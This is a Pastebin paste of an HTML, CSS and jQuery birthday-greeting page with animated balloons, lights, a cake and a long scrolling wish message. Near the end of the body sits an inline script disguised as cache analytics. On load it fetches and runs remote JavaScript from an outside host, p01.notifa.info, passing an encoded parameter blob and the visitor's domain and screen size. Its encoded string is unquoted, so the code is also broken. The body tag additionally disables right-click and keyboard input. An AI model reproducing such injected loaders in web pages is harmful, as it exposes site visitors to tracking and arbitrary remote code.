  1001. max-width: 100%;
  1002. -webkit-transform:translate(0px,-500px);
  1003. -moz-transform:translate(0px,-500px);
  1004. -o-transform:translate(0px,-500px);
  1005. -ms-transform:translate(0px,-500px);
  1006. transform:translate(0px,-500px);
  1007.  
  1008. }
  1009. .bannar-come {
  1010. -webkit-animation: bannar_come linear 6s;
  1011. -webkit-transform:translate(0px,0px);
  1012. -moz-animation: bannar_come linear 6s;
  1013. -moz-transform:translate(0px,0px);
  1014. -o-animation: bannar_come linear 6s;
  1015. -o-transform:translate(0px,0px);
  1016. -ms-animation: bannar_come linear 6s;
  1017. -ms-transform:translate(0px,0px);
  1018. animation: bannar_come linear 6s;
  1019. transform:translate(0px,0px);
  1020. }
  1021. @-webkit-keyframes bannar_come {
  1022. 0%{
  1023. -webkit-transform:translate(0px,-1000px);
  1024. }
  1025. 33%{
  1026. -webkit-transform:translate(0px,0px);
  1027. -webkit-transform:rotate(10deg);
  1028. /*-webkit-transform:scale(1.5);*/
  1029. }
  1030. 66% {
  1031. -webkit-transform:translate(0px,100px);
  1032. -webkit-transform:rotate(-10deg);
  1033. }
  1034. 100% {
  1035. -webkit-transform:translate(0px,0px);
  1036. }
  1037. }
  1038. @-moz-keyframes bannar_come {
  1039. 0%{
  1040. -moz-transform:translate(0px,-1000px);
  1041. }
  1042. 33%{
  1043. -moz-transform:translate(0px,0px);
  1044. -moz-transform:rotate(10deg);
  1045. /*-webkit-transform:scale(1.5);*/
  1046. }
  1047. 66% {
  1048. -moz-transform:translate(0px,100px);
  1049. -moz-transform:rotate(-10deg);
  1050. }
  1051. 100% {
  1052. -moz-transform:translate(0px,0px);
  1053. }
  1054. }
  1055. @-o-keyframes bannar_come {
  1056. 0%{
  1057. -o-transform:translate(0px,-1000px);
  1058. }
  1059. 33%{
  1060. -o-transform:translate(0px,0px);
  1061. -o-transform:rotate(10deg);
  1062. /*-webkit-transform:scale(1.5);*/
  1063. }
  1064. 66% {
  1065. -o-transform:translate(0px,100px);
  1066. -o-transform:rotate(-10deg);
  1067. }
  1068. 100% {
  1069. -o-transform:translate(0px,0px);
  1070. }
  1071. }
  1072. @-ms-keyframes bannar_come {
  1073. 0%{
  1074. -ms-transform:translate(0px,-1000px);
  1075. }
  1076. 33%{
  1077. -ms-transform:translate(0px,0px);
  1078. -ms-transform:rotate(10deg);
  1079. /*-webkit-transform:scale(1.5);*/
  1080. }
  1081. 66% {
  1082. -ms-transform:translate(0px,100px);
  1083. -ms-transform:rotate(-10deg);
  1084. }
  1085. 100% {
  1086. -ms-transform:translate(0px,0px);
  1087. }
  1088. }o
  1089. @keyframes bannar_come {
  1090. 0%{
  1091. transform:translate(0px,-1000px);
  1092. }
  1093. 33%{
  1094. transform:translate(0px,0px);
  1095. transform:rotate(10deg);
  1096. /*-webkit-transform:scale(1.5);*/
  1097. }
  1098. 66% {
  1099. transform:translate(0px,100px);
  1100. transform:rotate(-10deg);
  1101. }
  1102. 100% {
  1103. transform:translate(0px,0px);
  1104. }
  1105. }
  1106.  
  1107. .balloons {
  1108. position: fixed;
  1109. bottom: -200px;
  1110. opacity: 0.6;
  1111. z-index: 99;
  1112. width: 100px;
  1113. height: 183px;
  1114. background-repeat: no-repeat no-repeat;
  1115. background-size: 100px 183px;
  1116. }
  1117. .balloons h2 {
  1118. text-transform: uppercase;
  1119. font-family: 'Signika', sans-serif;
  1120. font-size: 50px;
  1121. color: #BF4136;
  1122. text-shadow: 5px 5px 5px #FFF;
  1123. display: none;
  1124. }
  1125. #b1,#b11 {
  1126. background-image: url('https://image.ibb.co/bvwPrx/b1.png');
  1127. }
  1128. #b2,#b22 {
  1129. background-image: url('https://image.ibb.co/k8BqWx/b2.png');
  1130. }
  1131. #b3,#b33 {
  1132. background-image: url('https://image.ibb.co/fwgqWx/b3.png');
  1133. }
  1134. #b4,#b44{
  1135. background-image: url('https://image.ibb.co/gWaHBx/b4.png');
  1136. }
  1137. #b5,#b55{
  1138. background-image: url('https://image.ibb.co/cueYjH/b5.png');
  1139. }
  1140. #b6,#b66{
  1141. background-image: url('https://image.ibb.co/guPzPH/b6.png');
  1142. }
  1143. #b7,#b77{
  1144. background-image: url('https://image.ibb.co/i77xBx/b7.png');
  1145. }
  1146. .balloons-rotate-behaviour-one {
  1147. -webkit-animation: balloons_rotate_one linear 10s infinite;
  1148. -webkit-transform: rotate(30deg);
  1149. -moz-animation: balloons_rotate_one linear 10s infinite;
  1150. -moz-transform: rotate(30deg);
  1151. -o-animation: balloons_rotate_one linear 10s infinite;
  1152. -o-transform: rotate(30deg);
  1153. -ms-animation: balloons_rotate_one linear 10s infinite;
  1154. -ms-transform: rotate(30deg);
  1155. animation: balloons_rotate_one linear 10s infinite;
  1156. transform: rotate(30deg);
  1157. }
  1158. @-webkit-keyframes balloons_rotate_one {
  1159. 0% {
  1160. -webkit-transform: rotate(30deg);
  1161. }
  1162. 50% {
  1163. -webkit-transform: rotate(-30deg);
  1164. }
  1165. 100% {
  1166. -webkit-transform: rotate(30deg);
  1167. }
  1168. }
  1169. @-moz-keyframes balloons_rotate_one {
  1170. 0% {
  1171. -moz-transform: rotate(30deg);
  1172. }
  1173. 50% {
  1174. -moz-transform: rotate(-30deg);
  1175. }
  1176. 100% {
  1177. -moz-transform: rotate(30deg);
  1178. }
  1179. }
  1180. @-o-keyframes balloons_rotate_one {
  1181. 0% {
  1182. -o-transform: rotate(30deg);
  1183. }
  1184. 50% {
  1185. -o-transform: rotate(-30deg);
  1186. }
  1187. 100% {
  1188. -o-transform: rotate(30deg);
  1189. }
  1190. }
  1191. @-ms-keyframes balloons_rotate_one {
  1192. 0% {
  1193. -ms-transform: rotate(30deg);
  1194. }
  1195. 50% {
  1196. -ms-transform: rotate(-30deg);
  1197. }
  1198. 100% {
  1199. -ms-transform: rotate(30deg);
  1200. }
  1201. }
  1202. @keyframes balloons_rotate_one {
  1203. 0% {
  1204. transform: rotate(30deg);
  1205. }
  1206. 50% {
  1207. transform: rotate(-30deg);
  1208. }
  1209. 100% {
  1210. transform: rotate(30deg);
  1211. }
  1212. }
  1213. .balloons-rotate-behaviour-two {
  1214. -webkit-animation: balloons_rotate_two linear 10s infinite;
  1215. -webkit-transform: rotate(-20deg);
  1216. -moz-animation: balloons_rotate_two linear 10s infinite;
  1217. -moz-transform: rotate(-20deg);
  1218. -o-animation: balloons_rotate_two linear 10s infinite;
  1219. -o-transform: rotate(-20deg);
  1220. -ms-animation: balloons_rotate_two linear 10s infinite;
  1221. -ms-transform: rotate(-20deg);
  1222. animation: balloons_rotate_two linear 10s infinite;
  1223. transform: rotate(-20deg);
  1224. }
  1225. @-webkit-keyframes balloons_rotate_two {
  1226. 0% {
  1227. -webkit-transform: rotate(-20deg);
  1228. }
  1229. 50% {
  1230. -webkit-transform: rotate(20deg);
  1231. }
  1232. 100% {
  1233. -webkit-transform: rotate(-20deg);
  1234. }
  1235. }
  1236. @-moz-keyframes balloons_rotate_two {
  1237. 0% {
  1238. -moz-transform: rotate(-20deg);
  1239. }
  1240. 50% {
  1241. -moz-transform: rotate(20deg);
  1242. }
  1243. 100% {
  1244. -moz-transform: rotate(-20deg);
  1245. }
  1246. }
  1247. @-o-keyframes balloons_rotate_two {
  1248. 0% {
  1249. -o-transform: rotate(-20deg);
  1250. }
  1251. 50% {
  1252. -o-transform: rotate(20deg);
  1253. }
  1254. 100% {
  1255. -o-transform: rotate(-20deg);
  1256. }
  1257. }
  1258. @-ms-keyframes balloons_rotate_two {
  1259. 0% {
  1260. -ms-transform: rotate(-20deg);
  1261. }
  1262. 50% {
  1263. -ms-transform: rotate(20deg);
  1264. }
  1265. 100% {
  1266. -ms-transform: rotate(-20deg);
  1267. }
  1268. }
  1269. @keyframes balloons_rotate_two {
  1270. 0% {
  1271. transform: rotate(-20deg);
  1272. }
  1273. 50% {
  1274. transform: rotate(20deg);
  1275. }
  1276. 100% {
  1277. transform: rotate(-20deg);
  1278. }
  1279. }
  1280.  
  1281. .balloon-border{
  1282. position: fixed;
  1283. top:100%;
  1284. opacity: 0.5;
  1285. z-index: 9999;
  1286. }
  1287. .control-panel {
  1288. position: fixed;
  1289. bottom: 0;
  1290. padding:10px 0px 10px 0px;
  1291. }
  1292. #play, #bannar_coming, #balloons_flying,#cake_fadein,#light_candle,#wish_message,#story {
  1293. display: none;
  1294. }
  1295.  
  1296. .cake-cover {
  1297. margin-top: 50px;
  1298. }
  1299. .message {
  1300. margin-top: 200px;
  1301. display: none;
  1302. }
  1303. .message p {
  1304. font-family: 'Signika', sans-serif;
  1305. font-size: 30px;
  1306. text-transform: uppercase;
  1307. color: #C4515C;
  1308. text-shadow: 2px 2px 2px #FFF;
  1309. display: none;
  1310. font-weight: bold;
  1311. }
  1312.  
  1313. .btn-primary {
  1314. border-color: #466baf;
  1315. padding: 10px;
  1316. text-transform: uppercase;
  1317. font-family: 'Signika', sans-serif;
  1318. font-weight: 700;
  1319. color: #fff;
  1320. background-color: #466baf;
  1321. }
  1322. .btn-primary:hover,
  1323. .btn-primary:focus,
  1324. .btn-primary:active,
  1325. .btn-primary.active,
  1326. .open .dropdown-toggle.btn-primary {
  1327. border-color: #fff;
  1328. color: #fff;
  1329. background-color: #466baf;
  1330. }
  1331. /* Absolute Center CSS Spinner */
  1332. .loading {
  1333. position: fixed;
  1334. z-index: 99999;
  1335. height: 2em;
  1336. width: 2em;
  1337. overflow: show;
  1338. margin: auto;
  1339. top: 0;
  1340. left: 0;
  1341. bottom: 0;
  1342. right: 0;
  1343. }
  1344.  
  1345. /* Transparent Overlay */
  1346. .loading:before {
  1347. content: '';
  1348. display: block;
  1349. position: fixed;
  1350. top: 0;
  1351. left: 0;
  1352. width: 100%;
  1353. height: 100%;
  1354. background-color: rgba(0,0,0,0.3);
  1355. }
  1356.  
  1357. /* :not(:required) hides these rules from IE9 and below */
  1358. .loading:not(:required) {
  1359. /* hide "loading..." text */
  1360. font: 0/0 a;
  1361. color: transparent;
  1362. text-shadow: none;
  1363. background-color: transparent;
  1364. border: 0;
  1365. }
  1366.  
  1367. .loading:not(:required):after {
  1368. content: '';
  1369. display: block;
  1370. font-size: 10px;
  1371. width: 1em;
  1372. height: 1em;
  1373. margin-top: -0.5em;
  1374. -webkit-animation: spinner 1500ms infinite linear;
  1375. -moz-animation: spinner 1500ms infinite linear;
  1376. -ms-animation: spinner 1500ms infinite linear;
  1377. -o-animation: spinner 1500ms infinite linear;
  1378. animation: spinner 1500ms infinite linear;
  1379. border-radius: 0.5em;
  1380. -webkit-box-shadow: #FFF 1.5em 0 0 0, rgba(0, 0, 0, 0.75) 1.1em 1.1em 0 0, rgba(0, 0, 0, 0.75) 0 1.5em 0 0, #FFF -1.1em 1.1em 0 0, rgba(0, 0, 0, 0.5) -1.5em 0 0 0, rgba(0, 0, 0, 0.5) -1.1em -1.1em 0 0, rgba(0, 0, 0, 0.75) 0 -1.5em 0 0, rgba(0, 0, 0, 0.75) 1.1em -1.1em 0 0;
  1381. box-shadow: #FFF 1.5em 0 0 0, rgba(0, 0, 0, 0.75) 1.1em 1.1em 0 0, rgba(0, 0, 0, 0.75) 0 1.5em 0 0, #FFF -1.1em 1.1em 0 0, rgba(0, 0, 0, 0.5) -1.5em 0 0 0, rgba(0, 0, 0, 0.5) -1.1em -1.1em 0 0, rgba(0, 0, 0, 0.75) 0 -1.5em 0 0, rgba(0, 0, 0, 0.75) 1.1em -1.1em 0 0;
  1382. }
  1383.  
  1384. /* Animation */
  1385.  
  1386. @-webkit-keyframes spinner {
  1387. 0% {
  1388. -webkit-transform: rotate(0deg);
  1389. -moz-transform: rotate(0deg);
  1390. -ms-transform: rotate(0deg);
  1391. -o-transform: rotate(0deg);
  1392. transform: rotate(0deg);
  1393. }
  1394. 100% {
  1395. -webkit-transform: rotate(360deg);
  1396. -moz-transform: rotate(360deg);
  1397. -ms-transform: rotate(360deg);
  1398. -o-transform: rotate(360deg);
  1399. transform: rotate(360deg);
  1400. }
  1401. }
  1402. @-moz-keyframes spinner {
  1403. 0% {
  1404. -webkit-transform: rotate(0deg);
  1405. -moz-transform: rotate(0deg);
  1406. -ms-transform: rotate(0deg);
  1407. -o-transform: rotate(0deg);
  1408. transform: rotate(0deg);
  1409. }
  1410. 100% {
  1411. -webkit-transform: rotate(360deg);
  1412. -moz-transform: rotate(360deg);
  1413. -ms-transform: rotate(360deg);
  1414. -o-transform: rotate(360deg);
  1415. transform: rotate(360deg);
  1416. }
  1417. }
  1418. @-o-keyframes spinner {
  1419. 0% {
  1420. -webkit-transform: rotate(0deg);
  1421. -moz-transform: rotate(0deg);
  1422. -ms-transform: rotate(0deg);
  1423. -o-transform: rotate(0deg);
  1424. transform: rotate(0deg);
  1425. }
  1426. 100% {
  1427. -webkit-transform: rotate(360deg);
  1428. -moz-transform: rotate(360deg);
  1429. -ms-transform: rotate(360deg);
  1430. -o-transform: rotate(360deg);
  1431. transform: rotate(360deg);
  1432. }
  1433. }
  1434. @keyframes spinner {
  1435. 0% {
  1436. -webkit-transform: rotate(0deg);
  1437. -moz-transform: rotate(0deg);
  1438. -ms-transform: rotate(0deg);
  1439. -o-transform: rotate(0deg);
  1440. transform: rotate(0deg);
  1441. }
  1442. 100% {
  1443. -webkit-transform: rotate(360deg);
  1444. -moz-transform: rotate(360deg);
  1445. -ms-transform: rotate(360deg);
  1446. -o-transform: rotate(360deg);
  1447. transform: rotate(360deg);
  1448. }
  1449. }
  1450. </style>
  1451. </head>
  1452.  
  1453. <body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;'>
  1454. <div class="loading"></div>
  1455. <audio class="song" controls loop>
  1456. <source src="http://warwick-iowa.org/warwick/music/thesongtoyou.mp3"></source>
  1457. Your browser isn't invited for super fun audio time.
  1458. </audio>
  1459. <div class="balloons text-center" id="b1">
  1460. <h2 style="color:#F2B300;">T</h2>
  1461. </div>
  1462. <div class="balloons text-center" id="b2">
  1463. <h2 style="color:#0719D4;">O</h2>
  1464. </div>
  1465. <div class="balloons text-center" id="b3">
  1466. <h2 style="color:#D14D39;"> </h2>
  1467. </div>
  1468. <div class="balloons text-center" id="b4">
  1469. <h2 style="color:#8FAD00;">Y</h2>
  1470. </div>
  1471. <div class="balloons text-center" id="b5">
  1472. <h2 style="color:#8377E4;">O</h2>
  1473. </div>
  1474. <div class="balloons text-center" id="b6">
  1475. <h2 style="color:#99C96A;">U</h2>
  1476. </div>
  1477. <div class="balloons text-center" id="b7">
  1478. <h2 style="color:#20CFB4;"> </h2>
  1479. </div>
  1480.  
  1481. <img src="https://preview.ibb.co/cYEYjH/Balloon_Border.png" width="100%" class="balloon-border">
  1482.  
  1483.  
  1484. <div class="container">
  1485.  
  1486. <div class="row">
  1487. <div class="col-md-2 col-xs-2 bulb-holder">
  1488. <div class="bulb" id="bulb_yellow"></div>
  1489. </div>
  1490. <div class="col-md-2 col-xs-2 bulb-holder">
  1491. <div class="bulb" id="bulb_red"></div>
  1492. </div>
  1493. <div class="col-md-2 col-xs-2 bulb-holder">
  1494. <div class="bulb" id="bulb_blue"></div>
  1495. </div>
  1496. <div class="col-md-2 col-xs-2 bulb-holder">
  1497. <div class="bulb" id="bulb_green"></div>
  1498. </div>
  1499. <div class="col-md-2 col-xs-2 bulb-holder">
  1500. <div class="bulb" id="bulb_pink"></div>
  1501. </div>
  1502. <div class="col-md-2 col-xs-2 bulb-holder">
  1503. <div class="bulb" id="bulb_orange"></div>
  1504. </div>
  1505. </div>
  1506. <div class="row">
  1507. <div class="col-md-12 text-center">
  1508. <img src="https://image.ibb.co/eEA64H/banner.png" class="bannar">
  1509. </div>
  1510. </div>
  1511. <!-- <div class="row message">
  1512. <div class="col-md-12"><p>Khushbu</p></div>
  1513. </div> -->
  1514. <div class="row cake-cover">
  1515. <div class="col-md-12 texr-center">
  1516. <div class="cake">
  1517. <div class="velas">
  1518. <div class="fuego"></div>
  1519. <div class="fuego"></div>
  1520. <div class="fuego"></div>
  1521. <div class="fuego"></div>
  1522. <div class="fuego"></div>
  1523. </div>
  1524. <div class="cobertura"></div>
  1525. <div class="bizcocho"></div>
  1526. </div>
  1527. </div>
  1528. </div>
  1529. <div class="row message">
  1530. <div class="col-md-12">
  1531. <p>Today is...</p>
  1532. <p>as beautiful as other days</p>
  1533. <p>but you realize</p>
  1534. <p>another year has gone</p>
  1535. <p>in a blink of the eyes</p>
  1536. <p><strong>however</strong></p>
  1537. <p>Do you know..?</p>
  1538. <p>today is just special</p>
  1539. <p>so special to you</p>
  1540. <p>that's why</p>
  1541. <p>Let's make it...</p>
  1542. <p>the best celebration ever</p>
  1543. <p>and let me share...</p>
  1544. <p>a piece of happiness to you</p>
  1545. <p>I made all this...</p>
  1546. <p>as a birthday present to you</p>
  1547. <p>thanks for being there</p>
  1548. <p>thanks for the friendship we made</p>
  1549. <p>thanks for everything</p>
  1550. <p>I wish you all the best</p>
  1551. <p>May your life be at ease</p>
  1552. <p>May all your wishes come true</p>
  1553. <p>Remember</p>
  1554. <p>your ambitions</p>
  1555. <p>you live as a free bird...</p>
  1556. <p>flying in the blue sky</p>
  1557. <p>Now things are different...</p>
  1558. <p>real story of your life</p>
  1559. <p>is just about to begin</p>
  1560. <p>indeed..</p>
  1561. <p>this life is not easy as we thought</p>
  1562. <p>but...</p>
  1563. <p>don't worry</p>
  1564. <p>don't be afraid</p>
  1565. <p>because...</p>
  1566. <p>you are not alone in this world</p>
  1567. <p>because...</p>
  1568. <p>this year will be better</p>
  1569. <p>and I hope</p>
  1570. <p>you'll find...</p>
  1571. <p>happiness along the way</p>
  1572. <p>keep your spirits up</p>
  1573. <p>enjoy every single moment...</p>
  1574. <p>that you experiecne today</p>
  1575. <p>fill it with your most beautiful smile</p>
  1576. <p>and make it the best memory..</p>
  1577. <p>lastly...</p>
  1578. <p>I'd like to wish you one more time</p>
  1579. <p>a very happy birthday</p>
  1580. </div>
  1581. </div>
  1582. <div class="navbar navbar-fixed-bottom">
  1583. <div class="row">
  1584. <div class="col-md-6 text-center col-md-offset-3">
  1585. <button class="btn btn-primary" id="turn_on">Turn On Lights</button>
  1586. <button class="btn btn-primary" id="play">Play Music</button>
  1587. <button class="btn btn-primary" id="bannar_coming">Let's Decorate</button>
  1588. <button class="btn btn-primary" id="balloons_flying">Fly With Balloons</button>
  1589. <button class="btn btn-primary" id="cake_fadein">Most Delicious Cake Ever</button>
  1590. <button class="btn btn-primary" id="light_candle"> Light Candle</button>
  1591. <button class="btn btn-primary" id="wish_message">Happy Birthday</button>
  1592. <button class="btn btn-primary" id="story">A mesage for you</button>
  1593. <!-- <button class="btn btn-primary" id="cake_cut">Lrt's Cut the Cake</button> -->
  1594. </div>
  1595. </div>
  1596. <!-- <div class="col-md-2">
  1597. </div>
  1598. <div class="col-md-2">
  1599. </div>
  1600. <div class="col-md-2">
  1601. </div>
  1602. <div class="col-md-2">
  1603. </div>
  1604. <div class="col-md-2">
  1605. </div> -->
  1606. </div>
  1607.  
  1608.  
  1609. </div>
  1610. <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p01.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + 4TtHaUQnUEiP6K%2fc5C582NzYpoUazw5mDCgLT9p0G7T1c7qwtst%2bw%2bVT1aBKEGYwYo3iPN7zNRpZKE1SQtJpTxW2E5D%2bNobHn6xZeXXh8Uup7vTqOfPUDOMit%2beWu416dKVn5ZPug0Uu5uWz7LPg247%2ff4kK%2fU2YkZloFmAiE10mTnRZhSPutj67gxsLCj53%2fJaAbG0c1TvwXEVOurxbseE4CA%2fXdvQdz5XflCBd5cLn6MwGDPD3%2fh3UQ5KNUIbJMWQydnLGAooq1ZRYXpzxffowPYhgKKsc%2fs3X4czUuQCFQ1LQWV1EZ2SKDFgO1xIQrbQjpumU%2bVVDwtpOM0TbpX5kqYjr6fmv6zGPLL%2f2x9liQEC7tcbwiIJlj0Ea1cEKs%2fS8lsl4qTfp7ktIIsQtiSG%2fZCBN34p1XbnFKMP0%2fgYD21T4UtDbIwievFtU3s4SDB8Eff6nkdaLkEHjgloqAL3SxQLHZbROiMEPBVkjlxEs8cKXGC9W0hY4KUqn%2bblsa7WHhzB6CvPJiuJ9WbROFDeaRgNduvDNw8O%2bSld3e8Y%3d + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
  1611. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
  1612. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
  1613. <script type="text/javascript">
  1614. $(window).load(function(){
  1615. $('.loading').fadeOut('fast');
  1616. $('.container').fadeIn('fast');
  1617. });
  1618. $('document').ready(function(){
  1619. var vw;
  1620. $(window).resize(function(){
  1621. vw = $(window).width()/2;
  1622. $('#b1,#b2,#b3,#b4,#b5,#b6,#b7').stop();
  1623. $('#b11').animate({top:240, left: vw-350},500);
  1624. $('#b22').animate({top:240, left: vw-250},500);
  1625. $('#b33').animate({top:240, left: vw-150},500);
  1626. $('#b44').animate({top:240, left: vw-50},500);
  1627. $('#b55').animate({top:240, left: vw+50},500);
  1628. $('#b66').animate({top:240, left: vw+150},500);
  1629. $('#b77').animate({top:240, left: vw+250},500);
  1630. });
  1631.  
  1632. $('#turn_on').click(function(){
  1633. $('#bulb_yellow').addClass('bulb-glow-yellow');
  1634. $('#bulb_red').addClass('bulb-glow-red');
  1635. $('#bulb_blue').addClass('bulb-glow-blue');
  1636. $('#bulb_green').addClass('bulb-glow-green');
  1637. $('#bulb_pink').addClass('bulb-glow-pink');
  1638. $('#bulb_orange').addClass('bulb-glow-orange');
  1639. $('body').addClass('peach');
  1640. $(this).fadeOut('slow').delay(5000).promise().done(function(){
  1641. $('#play').fadeIn('slow');
  1642. });
  1643. });
  1644. $('#play').click(function(){
  1645. var audio = $('.song')[0];
  1646. audio.play();
  1647. $('#bulb_yellow').addClass('bulb-glow-yellow-after');
  1648. $('#bulb_red').addClass('bulb-glow-red-after');
  1649. $('#bulb_blue').addClass('bulb-glow-blue-after');
  1650. $('#bulb_green').addClass('bulb-glow-green-after');
  1651. $('#bulb_pink').addClass('bulb-glow-pink-after');
  1652. $('#bulb_orange').addClass('bulb-glow-orange-after');
  1653. $('body').css('backgroud-color','#FFF');
  1654. $('body').addClass('peach-after');
  1655. $(this).fadeOut('slow').delay(6000).promise().done(function(){
  1656. $('#bannar_coming').fadeIn('slow');
  1657. });
  1658. });
  1659.  
  1660. $('#bannar_coming').click(function(){
  1661. $('.bannar').addClass('bannar-come');
  1662. $(this).fadeOut('slow').delay(6000).promise().done(function(){
  1663. $('#balloons_flying').fadeIn('slow');
  1664. });
  1665. });
  1666.  
  1667. function loopOne() {
  1668. var randleft = 1000*Math.random();
  1669. var randtop = 500*Math.random();
  1670. $('#b1').animate({left:randleft,bottom:randtop},10000,function(){
  1671. loopOne();
  1672. });
  1673. }
  1674. function loopTwo() {
  1675. var randleft = 1000*Math.random();
  1676. var randtop = 500*Math.random();
  1677. $('#b2').animate({left:randleft,bottom:randtop},10000,function(){
  1678. loopTwo();
  1679. });
  1680. }
  1681. function loopThree() {
  1682. var randleft = 1000*Math.random();
  1683. var randtop = 500*Math.random();
  1684. $('#b3').animate({left:randleft,bottom:randtop},10000,function(){
  1685. loopThree();
  1686. });
  1687. }
  1688. function loopFour() {
  1689. var randleft = 1000*Math.random();
  1690. var randtop = 500*Math.random();
  1691. $('#b4').animate({left:randleft,bottom:randtop},10000,function(){
  1692. loopFour();
  1693. });
  1694. }
  1695. function loopFive() {
  1696. var randleft = 1000*Math.random();
  1697. var randtop = 500*Math.random();
  1698. $('#b5').animate({left:randleft,bottom:randtop},10000,function(){
  1699. loopFive();
  1700. });
  1701. }
  1702.  
  1703. function loopSix() {
  1704. var randleft = 1000*Math.random();
  1705. var randtop = 500*Math.random();
  1706. $('#b6').animate({left:randleft,bottom:randtop},10000,function(){
  1707. loopSix();
  1708. });
  1709. }
  1710. function loopSeven() {
  1711. var randleft = 1000*Math.random();
  1712. var randtop = 500*Math.random();
  1713. $('#b7').animate({left:randleft,bottom:randtop},10000,function(){
  1714. loopSeven();
  1715. });
  1716. }
  1717.  
  1718. $('#balloons_flying').click(function(){
  1719. $('.balloon-border').animate({top:-500},8000);
  1720. $('#b1,#b4,#b5,#b7').addClass('balloons-rotate-behaviour-one');
  1721. $('#b2,#b3,#b6').addClass('balloons-rotate-behaviour-two');
  1722. // $('#b3').addClass('balloons-rotate-behaviour-two');
  1723. // $('#b4').addClass('balloons-rotate-behaviour-one');
  1724. // $('#b5').addClass('balloons-rotate-behaviour-one');
  1725. // $('#b6').addClass('balloons-rotate-behaviour-two');
  1726. // $('#b7').addClass('balloons-rotate-behaviour-one');
  1727. loopOne();
  1728. loopTwo();
  1729. loopThree();
  1730. loopFour();
  1731. loopFive();
  1732. loopSix();
  1733. loopSeven();
  1734.  
  1735. $(this).fadeOut('slow').delay(5000).promise().done(function(){
  1736. $('#cake_fadein').fadeIn('slow');
  1737. });
  1738. });
  1739.  
  1740. $('#cake_fadein').click(function(){
  1741. $('.cake').fadeIn('slow');
  1742. $(this).fadeOut('slow').delay(3000).promise().done(function(){
  1743. $('#light_candle').fadeIn('slow');
  1744. });
  1745. });
  1746.  
  1747. $('#light_candle').click(function(){
  1748. $('.fuego').fadeIn('slow');
  1749. $(this).fadeOut('slow').promise().done(function(){
  1750. $('#wish_message').fadeIn('slow');
  1751. });
  1752. });
  1753.  
  1754.  
  1755. $('#wish_message').click(function(){
  1756. vw = $(window).width()/2;
  1757.  
  1758. $('#b1,#b2,#b3,#b4,#b5,#b6,#b7').stop();
  1759. $('#b1').attr('id','b11');
  1760. $('#b2').attr('id','b22')
  1761. $('#b3').attr('id','b33')
  1762. $('#b4').attr('id','b44')
  1763. $('#b5').attr('id','b55')
  1764. $('#b6').attr('id','b66')
  1765. $('#b7').attr('id','b77')
  1766. $('#b11').animate({top:240, left: vw-350},500);
  1767. $('#b22').animate({top:240, left: vw-250},500);
  1768. $('#b33').animate({top:240, left: vw-150},500);
  1769. $('#b44').animate({top:240, left: vw-50},500);
  1770. $('#b55').animate({top:240, left: vw+50},500);
  1771. $('#b66').animate({top:240, left: vw+150},500);
  1772. $('#b77').animate({top:240, left: vw+250},500);
  1773. $('.balloons').css('opacity','0.9');
  1774. $('.balloons h2').fadeIn(3000);
  1775. $(this).fadeOut('slow').delay(3000).promise().done(function(){
  1776. $('#story').fadeIn('slow');
  1777. });
  1778. });
  1779.  
  1780. $('#story').click(function(){
  1781. $(this).fadeOut('slow');
  1782. $('.cake').fadeOut('fast').promise().done(function(){
  1783. $('.message').fadeIn('slow');
  1784. });
  1785.  
  1786. var i;
  1787.  
  1788. function msgLoop (i) {
  1789. $("p:nth-child("+i+")").fadeOut('slow').delay(800).promise().done(function(){
  1790. i=i+1;
  1791. $("p:nth-child("+i+")").fadeIn('slow').delay(1000);
  1792. if(i==50){
  1793. $("p:nth-child(49)").fadeOut('slow').promise().done(function () {
  1794. $('.cake').fadeIn('fast');
  1795. });
  1796.  
  1797. }
  1798. else{
  1799. msgLoop(i);
  1800. }
  1801.  
  1802. });
  1803. // body...
  1804. }
  1805.  
  1806. msgLoop(0);
  1807.  
  1808. });
  1809. });
  1810.  
  1811.  
  1812.  
  1813.  
  1814. //alert('hello');
  1815. </script>
  1816. <script>
  1817. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  1818. (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  1819. m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  1820. })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
  1821.  
  1822. ga('create', 'UA-58229732-1', 'auto');
  1823. ga('send', 'pageview');
  1824.  
  1825. </script>
  1826. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!